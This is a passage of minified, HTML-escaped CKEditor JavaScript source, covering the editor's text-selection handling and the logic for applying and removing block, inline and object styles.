[],b,c=this.getNative();if(!c)return a;for(var d=0;d&lt;c.rangeCount;d++){var f=c.getRangeAt(d);b=new CKEDITOR.dom.range(this.root);b.setStart(new CKEDITOR.dom.node(f.startContainer),f.startOffset);b.setEnd(new CKEDITOR.dom.node(f.endContainer),f.endOffset);a.push(b)}return a};return function(b){var c=this._.cache,d=c.ranges;d||(c.ranges=d=new CKEDITOR.dom.rangeList(a.call(this)));return b?g(new CKEDITOR.dom.rangeList(d.slice())):d}}(),getStartElement:function(){var a=this._.cache;if(void 0!==a.startElement)return a.startElement;
var b;switch(this.getType()){case CKEDITOR.SELECTION_ELEMENT:return this.getSelectedElement();case CKEDITOR.SELECTION_TEXT:var c=this.getRanges()[0];if(c){if(c.collapsed)b=c.startContainer,b.type!=CKEDITOR.NODE_ELEMENT&amp;&amp;(b=b.getParent());else{for(c.optimize();b=c.startContainer,c.startOffset==(b.getChildCount?b.getChildCount():b.getLength())&amp;&amp;!b.isBlockBoundary();)c.setStartAfter(b);b=c.startContainer;if(b.type!=CKEDITOR.NODE_ELEMENT)return b.getParent();if((b=b.getChild(c.startOffset))&amp;&amp;b.type==
CKEDITOR.NODE_ELEMENT)for(c=b.getFirst();c&amp;&amp;c.type==CKEDITOR.NODE_ELEMENT;)b=c,c=c.getFirst();else b=c.startContainer}b=b.$}}return a.startElement=b?new CKEDITOR.dom.element(b):null},getSelectedElement:function(){var a=this._.cache;if(void 0!==a.selectedElement)return a.selectedElement;var b=this,c=CKEDITOR.tools.tryThese(function(){return b.getNative().createRange().item(0)},function(){for(var a=b.getRanges()[0].clone(),c,d,f=2;f&amp;&amp;!((c=a.getEnclosedNode())&amp;&amp;c.type==CKEDITOR.NODE_ELEMENT&amp;&amp;y[c.getName()]&amp;&amp;
(d=c));f--)a.shrink(CKEDITOR.SHRINK_ELEMENT);return d&amp;&amp;d.$});return a.selectedElement=c?new CKEDITOR.dom.element(c):null},getSelectedText:function(){var a=this._.cache;if(void 0!==a.selectedText)return a.selectedText;var b=this.getNative(),b=t?&quot;Control&quot;==b.type?&quot;&quot;:b.createRange().text:b.toString();return a.selectedText=b},lock:function(){this.getRanges();this.getStartElement();this.getSelectedElement();this.getSelectedText();this._.cache.nativeSel=null;this.isLocked=1},unlock:function(a){if(this.isLocked){if(a)var b=
this.getSelectedElement(),c=!b&amp;&amp;this.getRanges(),d=this.isFake;this.isLocked=0;this.reset();a&amp;&amp;(a=b||c[0]&amp;&amp;c[0].getCommonAncestor())&amp;&amp;a.getAscendant(&quot;body&quot;,1)&amp;&amp;(d?this.fake(b):b?this.selectElement(b):this.selectRanges(c))}},reset:function(){this._.cache={};this.isFake=0;var a=this.root.editor;if(a&amp;&amp;a._.fakeSelection)if(this.rev==a._.fakeSelection.rev){delete a._.fakeSelection;var b=a._.hiddenSelectionContainer;if(b){var c=a.checkDirty();a.fire(&quot;lockSnapshot&quot;);b.remove();a.fire(&quot;unlockSnapshot&quot;);!c&amp;&amp;
a.resetDirty()}delete a._.hiddenSelectionContainer}else CKEDITOR.warn(&quot;selection-fake-reset&quot;);this.rev=p++},selectElement:function(a){var b=new CKEDITOR.dom.range(this.root);b.setStartBefore(a);b.setEndAfter(a);this.selectRanges([b])},selectRanges:function(a){var b=this.root.editor,b=b&amp;&amp;b._.hiddenSelectionContainer;this.reset();if(b)for(var b=this.root,c,f=0;f&lt;a.length;++f)c=a[f],c.endContainer.equals(b)&amp;&amp;(c.endOffset=Math.min(c.endOffset,b.getChildCount()));if(a.length)if(this.isLocked){var g=CKEDITOR.document.getActive();
this.unlock();this.selectRanges(a);this.lock();g&amp;&amp;!g.equals(this.root)&amp;&amp;g.focus()}else{var e;a:{var h,l;if(1==a.length&amp;&amp;!(l=a[0]).collapsed&amp;&amp;(e=l.getEnclosedNode())&amp;&amp;e.type==CKEDITOR.NODE_ELEMENT&amp;&amp;(l=l.clone(),l.shrink(CKEDITOR.SHRINK_ELEMENT,!0),(h=l.getEnclosedNode())&amp;&amp;h.type==CKEDITOR.NODE_ELEMENT&amp;&amp;(e=h),&quot;false&quot;==e.getAttribute(&quot;contenteditable&quot;)))break a;e=void 0}if(e)this.fake(e);else{if(t){l=CKEDITOR.dom.walker.whitespaces(!0);h=/\ufeff|\u00a0/;b={table:1,tbody:1,tr:1};1&lt;a.length&amp;&amp;(e=a[a.length-
1],a[0].setEnd(e.endContainer,e.endOffset));e=a[0];a=e.collapsed;var n,q,p;if((c=e.getEnclosedNode())&amp;&amp;c.type==CKEDITOR.NODE_ELEMENT&amp;&amp;c.getName()in y&amp;&amp;(!c.is(&quot;a&quot;)||!c.getText()))try{p=c.$.createControlRange();p.addElement(c.$);p.select();return}catch(u){}if(e.startContainer.type==CKEDITOR.NODE_ELEMENT&amp;&amp;e.startContainer.getName()in b||e.endContainer.type==CKEDITOR.NODE_ELEMENT&amp;&amp;e.endContainer.getName()in b)e.shrink(CKEDITOR.NODE_ELEMENT,!0),a=e.collapsed;p=e.createBookmark();b=p.startNode;a||(g=p.endNode);
p=e.document.$.body.createTextRange();p.moveToElementText(b.$);p.moveStart(&quot;character&quot;,1);g?(h=e.document.$.body.createTextRange(),h.moveToElementText(g.$),p.setEndPoint(&quot;EndToEnd&quot;,h),p.moveEnd(&quot;character&quot;,-1)):(n=b.getNext(l),q=b.hasAscendant(&quot;pre&quot;),n=!(n&amp;&amp;n.getText&amp;&amp;n.getText().match(h))&amp;&amp;(q||!b.hasPrevious()||b.getPrevious().is&amp;&amp;b.getPrevious().is(&quot;br&quot;)),q=e.document.createElement(&quot;span&quot;),q.setHtml(&quot;\x26#65279;&quot;),q.insertBefore(b),n&amp;&amp;e.document.createText(&quot;﻿&quot;).insertBefore(b));e.setStartBefore(b);
b.remove();a?(n?(p.moveStart(&quot;character&quot;,-1),p.select(),e.document.$.selection.clear()):p.select(),e.moveToPosition(q,CKEDITOR.POSITION_BEFORE_START),q.remove()):(e.setEndBefore(g),g.remove(),p.select())}else{g=this.getNative();if(!g)return;this.removeAllRanges();for(p=0;p&lt;a.length;p++){if(p&lt;a.length-1&amp;&amp;(n=a[p],q=a[p+1],h=n.clone(),h.setStart(n.endContainer,n.endOffset),h.setEnd(q.startContainer,q.startOffset),!h.collapsed&amp;&amp;(h.shrink(CKEDITOR.NODE_ELEMENT,!0),e=h.getCommonAncestor(),h=h.getEnclosedNode(),
e.isReadOnly()||h&amp;&amp;h.isReadOnly()))){q.setStart(n.startContainer,n.startOffset);a.splice(p--,1);continue}e=a[p];q=this.document.$.createRange();e.collapsed&amp;&amp;CKEDITOR.env.webkit&amp;&amp;d(e)&amp;&amp;(h=k(this.root),e.insertNode(h),(n=h.getNext())&amp;&amp;!h.getPrevious()&amp;&amp;n.type==CKEDITOR.NODE_ELEMENT&amp;&amp;&quot;br&quot;==n.getName()?(m(this.root),e.moveToPosition(n,CKEDITOR.POSITION_BEFORE_START)):e.moveToPosition(h,CKEDITOR.POSITION_AFTER_END));q.setStart(e.startContainer.$,e.startOffset);try{q.setEnd(e.endContainer.$,e.endOffset)}catch(H){if(0&lt;=
H.toString().indexOf(&quot;NS_ERROR_ILLEGAL_VALUE&quot;))e.collapse(1),q.setEnd(e.endContainer.$,e.endOffset);else throw H;}g.addRange(q)}}this.reset();this.root.fire(&quot;selectionchange&quot;)}}},fake:function(a,b){var c=this.root.editor;void 0===b&amp;&amp;a.hasAttribute(&quot;aria-label&quot;)&amp;&amp;(b=a.getAttribute(&quot;aria-label&quot;));this.reset();h(c,b);var d=this._.cache,f=new CKEDITOR.dom.range(this.root);f.setStartBefore(a);f.setEndAfter(a);d.ranges=new CKEDITOR.dom.rangeList(f);d.selectedElement=d.startElement=a;d.type=CKEDITOR.SELECTION_ELEMENT;
d.selectedText=d.nativeSel=null;this.isFake=1;this.rev=p++;c._.fakeSelection=this;this.root.fire(&quot;selectionchange&quot;)},isHidden:function(){var a=this.getCommonAncestor();a&amp;&amp;a.type==CKEDITOR.NODE_TEXT&amp;&amp;(a=a.getParent());return!(!a||!a.data(&quot;cke-hidden-sel&quot;))},createBookmarks:function(a){a=this.getRanges().createBookmarks(a);this.isFake&amp;&amp;(a.isFake=1);return a},createBookmarks2:function(a){a=this.getRanges().createBookmarks2(a);this.isFake&amp;&amp;(a.isFake=1);return a},selectBookmarks:function(a){for(var b=
[],c,d=0;d&lt;a.length;d++){var f=new CKEDITOR.dom.range(this.root);f.moveToBookmark(a[d]);b.push(f)}a.isFake&amp;&amp;(c=b[0].getEnclosedNode(),c&amp;&amp;c.type==CKEDITOR.NODE_ELEMENT||(CKEDITOR.warn(&quot;selection-not-fake&quot;),a.isFake=0));a.isFake?this.fake(c):this.selectRanges(b);return this},getCommonAncestor:function(){var a=this.getRanges();return a.length?a[0].startContainer.getCommonAncestor(a[a.length-1].endContainer):null},scrollIntoView:function(){this.type!=CKEDITOR.SELECTION_NONE&amp;&amp;this.getRanges()[0].scrollIntoView()},
removeAllRanges:function(){if(this.getType()!=CKEDITOR.SELECTION_NONE){var a=this.getNative();try{a&amp;&amp;a[t?&quot;empty&quot;:&quot;removeAllRanges&quot;]()}catch(b){}this.reset()}}}}(),&quot;use strict&quot;,CKEDITOR.STYLE_BLOCK=1,CKEDITOR.STYLE_INLINE=2,CKEDITOR.STYLE_OBJECT=3,function(){function a(a,b){for(var c,d;(a=a.getParent())&amp;&amp;!a.equals(b);)if(a.getAttribute(&quot;data-nostyle&quot;))c=a;else if(!d){var f=a.getAttribute(&quot;contentEditable&quot;);&quot;false&quot;==f?c=a:&quot;true&quot;==f&amp;&amp;(d=1)}return c}function e(a,b,c,d){return(a.getPosition(b)|d)==d&amp;&amp;
(!c.childRule||c.childRule(a))}function b(c){var f=c.document;if(c.collapsed)f=y(this,f),c.insertNode(f),c.moveToPosition(f,CKEDITOR.POSITION_BEFORE_END);else{var g=this.element,h=this._.definition,l,k=h.ignoreReadonly,m=k||h.includeReadonly;null==m&amp;&amp;(m=c.root.getCustomData(&quot;cke_includeReadonly&quot;));var n=CKEDITOR.dtd[g];n||(l=!0,n=CKEDITOR.dtd.span);c.enlarge(CKEDITOR.ENLARGE_INLINE,1);c.trim();var p=c.createBookmark(),t=p.startNode,u=p.endNode,A=t,r;if(!k){var v=c.getCommonAncestor(),k=a(t,v),v=a(u,
v);k&amp;&amp;(A=k.getNextSourceNode(!0));v&amp;&amp;(u=v)}for(A.getPosition(u)==CKEDITOR.POSITION_FOLLOWING&amp;&amp;(A=0);A;){k=!1;if(A.equals(u))A=null,k=!0;else{var z=A.type==CKEDITOR.NODE_ELEMENT?A.getName():null,v=z&amp;&amp;&quot;false&quot;==A.getAttribute(&quot;contentEditable&quot;),w=z&amp;&amp;A.getAttribute(&quot;data-nostyle&quot;);if(z&amp;&amp;A.data(&quot;cke-bookmark&quot;)){A=A.getNextSourceNode(!0);continue}if(v&amp;&amp;m&amp;&amp;CKEDITOR.dtd.$block[z])for(var C=A,x=d(C),B=void 0,D=x.length,ea=0,C=D&amp;&amp;new CKEDITOR.dom.range(C.getDocument());ea&lt;D;++ea){var B=x[ea],ha=CKEDITOR.filter.instances[B.data(&quot;cke-filter&quot;)];
if(ha?ha.check(this):1)C.selectNodeContents(B),b.call(this,C)}x=z?!n[z]||w?0:v&amp;&amp;!m?0:e(A,u,h,L):1;if(x)if(B=A.getParent(),x=h,D=g,ea=l,!B||!(B.getDtd()||CKEDITOR.dtd.span)[D]&amp;&amp;!ea||x.parentRule&amp;&amp;!x.parentRule(B))k=!0;else{if(r||z&amp;&amp;CKEDITOR.dtd.$removeEmpty[z]&amp;&amp;(A.getPosition(u)|L)!=L||(r=c.clone(),r.setStartBefore(A)),z=A.type,z==CKEDITOR.NODE_TEXT||v||z==CKEDITOR.NODE_ELEMENT&amp;&amp;!A.getChildCount()){for(var z=A,E;(k=!z.getNext(I))&amp;&amp;(E=z.getParent(),n[E.getName()])&amp;&amp;e(E,t,h,N);)z=E;r.setEndAfter(z)}}else k=
!0;A=A.getNextSourceNode(w||v)}if(k&amp;&amp;r&amp;&amp;!r.collapsed){for(var k=y(this,f),v=k.hasAttributes(),w=r.getCommonAncestor(),z={},x={},B={},D={},aa,fa,F;k&amp;&amp;w;){if(w.getName()==g){for(aa in h.attributes)!D[aa]&amp;&amp;(F=w.getAttribute(fa))&amp;&amp;(k.getAttribute(aa)==F?x[aa]=1:D[aa]=1);for(fa in h.styles)!B[fa]&amp;&amp;(F=w.getStyle(fa))&amp;&amp;(k.getStyle(fa)==F?z[fa]=1:B[fa]=1)}w=w.getParent()}for(aa in x)k.removeAttribute(aa);for(fa in z)k.removeStyle(fa);v&amp;&amp;!k.hasAttributes()&amp;&amp;(k=null);k?(r.extractContents().appendTo(k),r.insertNode(k),
q.call(this,k),k.mergeSiblings(),CKEDITOR.env.ie||k.$.normalize()):(k=new CKEDITOR.dom.element(&quot;span&quot;),r.extractContents().appendTo(k),r.insertNode(k),q.call(this,k),k.remove(!0));r=null}}c.moveToBookmark(p);c.shrink(CKEDITOR.SHRINK_TEXT);c.shrink(CKEDITOR.NODE_ELEMENT,!0)}}function c(a){function b(){for(var a=new CKEDITOR.dom.elementPath(d.getParent()),c=new CKEDITOR.dom.elementPath(k.getParent()),f=null,g=null,e=0;e&lt;a.elements.length;e++){var h=a.elements[e];if(h==a.block||h==a.blockLimit)break;
m.checkElementRemovable(h,!0)&amp;&amp;(f=h)}for(e=0;e&lt;c.elements.length;e++){h=c.elements[e];if(h==c.block||h==c.blockLimit)break;m.checkElementRemovable(h,!0)&amp;&amp;(g=h)}g&amp;&amp;k.breakParent(g);f&amp;&amp;d.breakParent(f)}a.enlarge(CKEDITOR.ENLARGE_INLINE,1);var c=a.createBookmark(),d=c.startNode;if(a.collapsed){for(var f=new CKEDITOR.dom.elementPath(d.getParent(),a.root),g,e=0,h;e&lt;f.elements.length&amp;&amp;(h=f.elements[e])&amp;&amp;h!=f.block&amp;&amp;h!=f.blockLimit;e++)if(this.checkElementRemovable(h)){var l;a.collapsed&amp;&amp;(a.checkBoundaryOfElement(h,
CKEDITOR.END)||(l=a.checkBoundaryOfElement(h,CKEDITOR.START)))?(g=h,g.match=l?&quot;start&quot;:&quot;end&quot;):(h.mergeSiblings(),h.is(this.element)?u.call(this,h):t(h,r(this)[h.getName()]))}if(g){h=d;for(e=0;;e++){l=f.elements[e];if(l.equals(g))break;else if(l.match)continue;else l=l.clone();l.append(h);h=l}h[&quot;start&quot;==g.match?&quot;insertBefore&quot;:&quot;insertAfter&quot;](g)}}else{var k=c.endNode,m=this;b();for(f=d;!f.equals(k);)g=f.getNextSourceNode(),f.type==CKEDITOR.NODE_ELEMENT&amp;&amp;this.checkElementRemovable(f)&amp;&amp;(f.getName()==this.element?
u.call(this,f):t(f,r(this)[f.getName()]),g.type==CKEDITOR.NODE_ELEMENT&amp;&amp;g.contains(d)&amp;&amp;(b(),g=d.getNext())),f=g}a.moveToBookmark(c);a.shrink(CKEDITOR.NODE_ELEMENT,!0)}function d(a){var b=[];a.forEach(function(a){if(&quot;true&quot;==a.getAttribute(&quot;contenteditable&quot;))return b.push(a),!1},CKEDITOR.NODE_ELEMENT,!0);return b}function k(a){var b=a.getEnclosedNode()||a.getCommonAncestor(!1,!0);(a=(new CKEDITOR.dom.elementPath(b,a.root)).contains(this.element,1))&amp;&amp;!a.isReadOnly()&amp;&amp;A(a,this)}function m(a){var b=a.getCommonAncestor(!0,
!0);if(a=(new CKEDITOR.dom.elementPath(b,a.root)).contains(this.element,1)){var b=this._.definition,c=b.attributes;if(c)for(var d in c)a.removeAttribute(d,c[d]);if(b.styles)for(var f in b.styles)b.styles.hasOwnProperty(f)&amp;&amp;a.removeStyle(f)}}function f(a){var b=a.createBookmark(!0),c=a.createIterator();c.enforceRealBlocks=!0;this._.enterMode&amp;&amp;(c.enlargeBr=this._.enterMode!=CKEDITOR.ENTER_BR);for(var d,f=a.document,g;d=c.getNextParagraph();)!d.isReadOnly()&amp;&amp;(c.activeFilter?c.activeFilter.check(this):
1)&amp;&amp;(g=y(this,f,d),l(d,g));a.moveToBookmark(b)}function h(a){var b=a.createBookmark(1),c=a.createIterator();c.enforceRealBlocks=!0;c.enlargeBr=this._.enterMode!=CKEDITOR.ENTER_BR;for(var d,f;d=c.getNextParagraph();)this.checkElementRemovable(d)&amp;&amp;(d.is(&quot;pre&quot;)?((f=this._.enterMode==CKEDITOR.ENTER_BR?null:a.document.createElement(this._.enterMode==CKEDITOR.ENTER_P?&quot;p&quot;:&quot;div&quot;))&amp;&amp;d.copyAttributes(f),l(d,f)):u.call(this,d));a.moveToBookmark(b)}function l(a,b){var c=!b;c&amp;&amp;(b=a.getDocument().createElement(&quot;div&quot;),
a.copyAttributes(b));var d=b&amp;&amp;b.is(&quot;pre&quot;),f=a.is(&quot;pre&quot;),e=!d&amp;&amp;f;if(d&amp;&amp;!f){f=b;(e=a.getBogus())&amp;&amp;e.remove();e=a.getHtml();e=n(e,/(?:^[ \t\n\r]+)|(?:[ \t\n\r]+$)/g,&quot;&quot;);e=e.replace(/[ \t\r\n]*(&lt;br[^&gt;]*&gt;)[ \t\r\n]*/gi,&quot;$1&quot;);e=e.replace(/([ \t\n\r]+|&amp;nbsp;)/g,&quot; &quot;);e=e.replace(/&lt;br\b[^&gt;]*&gt;/gi,&quot;\n&quot;);if(CKEDITOR.env.ie){var h=a.getDocument().createElement(&quot;div&quot;);h.append(f);f.$.outerHTML=&quot;\x3cpre\x3e&quot;+e+&quot;\x3c/pre\x3e&quot;;f.copyAttributes(h.getFirst());f=h.getFirst().remove()}else f.setHtml(e);b=f}else e?b=v(c?
[a.getHtml()]:g(a),b):a.moveChildren(b);b.replace(a);if(d){var c=b,l;(l=c.getPrevious(G))&amp;&amp;l.type==CKEDITOR.NODE_ELEMENT&amp;&amp;l.is(&quot;pre&quot;)&amp;&amp;(d=n(l.getHtml(),/\n$/,&quot;&quot;)+&quot;\n\n&quot;+n(c.getHtml(),/^\n/,&quot;&quot;),CKEDITOR.env.ie?c.$.outerHTML=&quot;\x3cpre\x3e&quot;+d+&quot;\x3c/pre\x3e&quot;:c.setHtml(d),l.remove())}else c&amp;&amp;p(b)}function g(a){var b=[];n(a.getOuterHtml(),/(\S\s*)\n(?:\s|(&lt;span[^&gt;]+data-cke-bookmark.*?\/span&gt;))*\n(?!$)/gi,function(a,b,c){return b+&quot;\x3c/pre\x3e&quot;+c+&quot;\x3cpre\x3e&quot;}).replace(/&lt;pre\b.*?&gt;([\s\S]*?)&lt;\/pre&gt;/gi,function(a,
c){b.push(c)});return b}function n(a,b,c){var d=&quot;&quot;,f=&quot;&quot;;a=a.replace(/(^&lt;span[^&gt;]+data-cke-bookmark.*?\/span&gt;)|(&lt;span[^&gt;]+data-cke-bookmark.*?\/span&gt;$)/gi,function(a,b,c){b&amp;&amp;(d=b);c&amp;&amp;(f=c);return&quot;&quot;});return d+a.replace(b,c)+f}function v(a,b){var c;1&lt;a.length&amp;&amp;(c=new CKEDITOR.dom.documentFragment(b.getDocument()));for(var d=0;d&lt;a.length;d++){var f=a[d],f=f.replace(/(\r\n|\r)/g,&quot;\n&quot;),f=n(f,/^[ \t]*\n/,&quot;&quot;),f=n(f,/\n$/,&quot;&quot;),f=n(f,/^[ \t]+|[ \t]+$/g,function(a,b){return 1==a.length?&quot;\x26nbsp;&quot;:b?&quot; &quot;+CKEDITOR.tools.repeat(&quot;\x26nbsp;&quot;,
a.length-1):CKEDITOR.tools.repeat(&quot;\x26nbsp;&quot;,a.length-1)+&quot; &quot;}),f=f.replace(/\n/g,&quot;\x3cbr\x3e&quot;),f=f.replace(/[ \t]{2,}/g,function(a){return CKEDITOR.tools.repeat(&quot;\x26nbsp;&quot;,a.length-1)+&quot; &quot;});if(c){var g=b.clone();g.setHtml(f);c.append(g)}else b.setHtml(f)}return c||b}function u(a,b){var c=this._.definition,d=c.attributes,c=c.styles,f=r(this)[a.getName()],g=CKEDITOR.tools.isEmpty(d)&amp;&amp;CKEDITOR.tools.isEmpty(c),e;for(e in d)if(&quot;class&quot;!=e&amp;&amp;!this._.definition.fullMatch||a.getAttribute(e)==w(e,d[e]))b&amp;&amp;
&quot;data-&quot;==e.slice(0,5)||(g=a.hasAttribute(e),a.removeAttribute(e));for(var h in c)this._.definition.fullMatch&amp;&amp;a.getStyle(h)!=w(h,c[h],!0)||(g=g||!!a.getStyle(h),a.removeStyle(h));t(a,f,B[a.getName()]);g&amp;&amp;(this._.definition.alwaysRemoveElement?p(a,1):!CKEDITOR.dtd.$block[a.getName()]||this._.enterMode==CKEDITOR.ENTER_BR&amp;&amp;!a.hasAttributes()?p(a):a.renameNode(this._.enterMode==CKEDITOR.ENTER_P?&quot;p&quot;:&quot;div&quot;))}function q(a){for(var b=r(this),c=a.getElementsByTag(this.element),d,f=c.count();0&lt;=--f;)d=c.getItem(f),
d.isReadOnly()||u.call(this,d,!0);for(var g in b)if(g!=this.element)for(c=a.getElementsByTag(g),f=c.count()-1;0&lt;=f;f--)d=c.getItem(f),d.isReadOnly()||t(d,b[g])}function t(a,b,c){if(b=b&amp;&amp;b.attributes)for(var d=0;d&lt;b.length;d++){var f=b[d][0],g;if(g=a.getAttribute(f)){var e=b[d][1];(null===e||e.test&amp;&amp;e.test(g)||&quot;string&quot;==typeof e&amp;&amp;g==e)&amp;&amp;a.removeAttribute(f)}}c||p(a)}function p(a,b){if(!a.hasAttributes()||b)if(CKEDITOR.dtd.$block[a.getName()]){var c=a.getPrevious(G),d=a.getNext(G);!c||c.type!=CKEDITOR.NODE_TEXT&amp;&amp;
c.isBlockBoundary({br:1})||a.append(&quot;br&quot;,1);!d||d.type!=CKEDITOR.NODE_TEXT&amp;&amp;d.isBlockBoundary({br:1})||a.append(&quot;br&quot;);a.remove(!0)}else c=a.getFirst(),d=a.getLast(),a.remove(!0),c&amp;&amp;(c.type==CKEDITOR.NODE_ELEMENT&amp;&amp;c.mergeSiblings(),d&amp;&amp;!c.equals(d)&amp;&amp;d.type==CKEDITOR.NODE_ELEMENT&amp;&amp;d.mergeSiblings())}function y(a,b,c){var d;d=a.element;&quot;*&quot;==d&amp;&amp;(d=&quot;span&quot;);d=new CKEDITOR.dom.element(d,b);c&amp;&amp;c.copyAttributes(d);d=A(d,a);b.getCustomData(&quot;doc_processing_style&quot;)&amp;&amp;d.hasAttribute(&quot;id&quot;)?d.removeAttribute(&quot;id&quot;):
b.setCustomData(&quot;doc_processing_style&quot;,1);return d}function A(a,b){var c=b._.definition,d=c.attributes,c=CKEDITOR.style.getStyleText(c);if(d)for(var f in d)a.setAttribute(f,d[f]);c&amp;&amp;a.setAttribute(&quot;style&quot;,c);return a}function z(a,b){for(var c in a)a[c]=a[c].replace(E,function(a,c){return b[c]})}function r(a){if(a._.overrides)return a._.overrides;var b=a._.overrides={},c=a._.definition.overrides;if(c){CKEDITOR.tools.isArray(c)||(c=[c]);for(var d=0;d&lt;c.length;d++){var f=c[d],g,e;&quot;string&quot;==typeof f?
g=f.toLowerCase():(g=f.element?f.element.toLowerCase():a.element,e=f.attributes);f=b[g]||(b[g]={});if(e){var f=f.attributes=f.attributes||[],h;for(h in e)f.push([h.toLowerCase(),e[h]])}}}return b}function w(a,b,c){var d=new CKEDITOR.dom.element(&quot;span&quot;);d[c?&quot;setStyle&quot;:&quot;setAttribute&quot;](a,b);return d[c?&quot;getStyle&quot;:&quot;getAttribute&quot;](a)}function C(a,b){function c(a,b){return&quot;font-family&quot;==b.toLowerCase()?a.replace(/[&quot;&#039;]/g,&quot;&quot;):a}&quot;string&quot;==typeof a&amp;&amp;(a=CKEDITOR.tools.parseCssText(a));&quot;string&quot;==typeof b&amp;&amp;(b=
CKEDITOR.tools.parseCssText(b,!0));for(var d in a)if(!(d in b)||c(b[d],d)!=c(a[d],d)&amp;&amp;&quot;inherit&quot;!=a[d]&amp;&amp;&quot;inherit&quot;!=b[d])return!1;return!0}function x(a,b,c){var d=a.document,f=a.getRanges();b=b?this.removeFromRange:this.applyToRange;for(var g,e=f.createIterator();g=e.getNextRange();)b.call(this,g,c);a.selectRanges(f);d.removeCustomData(&quot;doc_processing_style&quot;)}var B={address:1,div:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,p:1,pre:1,section:1,header:1,footer:1,nav:1,article:1,aside:1,figure:1,dialog:1,hgroup:1,
time:1,meter:1,menu:1,command:1,keygen:1,output:1,progress:1,details:1,datagrid:1,datalist:1},D={a:1,blockquote:1,embed:1,hr:1,img:1,li:1,object:1,ol:1,table:1,td:1,tr:1,th:1,ul:1,dl:1,dt:1,dd:1,form:1,audio:1,video:1},F=/\s*(?:;\s*|$)/,E=/#\((.+?)\)/g,I=CKEDITOR.dom.walker.bookmark(0,1),G=CKEDITOR.dom.walker.whitespaces(1);CKEDITOR.style=function(a,b){if(&quot;string&quot;==typeof a.type)return new CKEDITOR.style.customHandlers[a.type](a);var c=a.attributes;c&amp;&amp;c.style&amp;&amp;(a.styles=CKEDITOR.tools.extend({},a.styles,
CKEDITOR.tools.parseCssText(c.style)),delete c.style);b&amp;&amp;(a=CKEDITOR.tools.clone(a),z(a.attributes,b),z(a.styles,b));c=this.element=a.element?&quot;string&quot;==typeof a.element?a.element.toLowerCase():a.element:&quot;*&quot;;this.type=a.type||(B[c]?CKEDITOR.STYLE_BLOCK:D[c]?CKEDITOR.STYLE_OBJECT:CKEDITOR.STYLE_INLINE);&quot;object&quot;==typeof this.element&amp;&amp;(this.type=CKEDITOR.STYLE_OBJECT);this._={definition:a}};CKEDITOR.style.prototype={apply:function(a){if(a instanceof CKEDITOR.dom.document)return x.call(this,a.getSelection());
if(this.checkApplicable(a.elementPath(),a)){var b=this._.enterMode;b||(this._.enterMode=a.activeEnterMode);x.call(this,a.getSelection(),0,a);this._.enterMode=b}},remove:function(a){if(a instanceof CKEDITOR.dom.document)return x.call(this,a.getSelection(),1);if(this.checkApplicable(a.elementPath(),a)){var b=this._.enterMode;b||(this._.enterMode=a.activeEnterMode);x.call(this,a.getSelection(),1,a);this._.enterMode=b}},applyToRange:function(a){this.applyToRange=this.type==CKEDITOR.STYLE_INLINE?b:this.type==
CKEDITOR.STYLE_BLOCK?f:this.type==CKEDITOR.STYLE_OBJECT?k:null;return this.applyToRange(a)},removeFromRange:function(a){this.removeFromRange=this.type==CKEDITOR.STYLE_INLINE?c:this.type==CKEDITOR.STYLE_BLOCK?h:this.type==CKEDITOR.STYLE_OBJECT?m:null;return this.removeFromRange(a)},applyToObject:function(a){A(a,this)},checkActive:function(a,b){switch(this.type){case CKEDITOR.STYLE_BLOCK:return this.checkElementRemovable(a.block||a.blockLimit,!0,b);case CKEDITOR.STYLE_OBJECT:case CKEDITOR.STYLE_INLINE:for(var c=
a.elements,d=0,f;d&lt;c.length;d++)if(f=c[d],this.type!=CKEDITOR.STYLE_INLINE||f!=a.block&amp;&amp;f!=a.blockLimit){if(this.type==CKEDITOR.STYLE_OBJECT){var g=f.getName();if(!(&quot;string&quot;==typeof this.element?g==this.element:g in this.element))continue}if(this.checkElementRemovable(f,!0,b))return!0}}return!1},checkApplicable:function(a,b,c){b&amp;&amp;b instanceof CKEDITOR.filter&amp;&amp;(c=b);if(c&amp;&amp;!c.check(this))return!1;switch(this.type){case CKEDITOR.STYLE_OBJECT:return!!a.contains(this.element);case CKEDITOR.STYLE_BLOCK:return!!a.blockLimit.getDtd()[this.element]}return!0},
checkElementMatch:function(a,b){var c=this._.definition;if(!a||!c.ignoreReadonly&amp;&amp;a.isReadOnly())return!1;var d=a.getName();if(&quot;string&quot;==typeof this.element?d==this.element:d in this.element){if(!b&amp;&amp;!a.hasAttributes())return!0;if(d=c._AC)c=d;else{var d={},f=0,g=c.attributes;if(g)for(var e in g)f++,d[e]=g[e];if(e=CKEDITOR.style.getStyleText(c))d.style||f++,d.style=e;d._length=f;c=c._AC=d}if(c._length){for(var h in c)if(&quot;_length&quot;!=h)if(d=a.getAttribute(h)||&quot;&quot;,&quot;style&quot;==h?C(c[h],d):c[h]==d){if(!b)return!0}else if(b)return!1;
if(b)return!0}else return!0}return!1},checkElementRemovable:function(a,b,c){if(this.checkElementMatch(a,b,c))return!0;if(b=r(this)[a.getName()]){var d;if(!(b=b.attributes))return!0;for(c=0;c&lt;b.length;c++)if(d=b[c][0],d=a.getAttribute(d)){var f=b[c][1];if(null===f)return!0;if(&quot;string&quot;==typeof f){if(d==f)return!0}else if(f.test(d))return!0}}return!1},buildPreview:function(a){var b=this._.definition,c=[],d=b.element;&quot;bdo&quot;==d&amp;&amp;(d=&quot;span&quot;);var c=[&quot;\x3c&quot;,d],f=b.attributes;if(f)for(var g in f)c.push(&quot; &quot;,
g,&#039;\x3d&quot;&#039;,f[g],&#039;&quot;&#039;);(f=CKEDITOR.style.getStyleText(b))&amp;&amp;c.push(&#039; style\x3d&quot;&#039;,f,&#039;&quot;&#039;);c.push(&quot;\x3e&quot;,a||b.name,&quot;\x3c/&quot;,d,&quot;\x3e&quot;);return c.join(&quot;&quot;)},getDefinition:function(){return this._.definition}};CKEDITOR.style.getStyleText=function(a){var b=a._ST;if(b)return b;var b=a.styles,c=a.attributes&amp;&amp;a.attributes.style||&quot;&quot;,d=&quot;&quot;;c.length&amp;&amp;(c=c.replace(F,&quot;;&quot;));for(var f in b){var g=b[f],e=(f+&quot;:&quot;+g).replace(F,&quot;;&quot;);&quot;inherit&quot;==g?d+=e:c+=e}c.length&amp;&amp;(c=CKEDITOR.tools.normalizeCssText(c,!0));return a._ST=c+d};CKEDITOR.style.customHandlers=
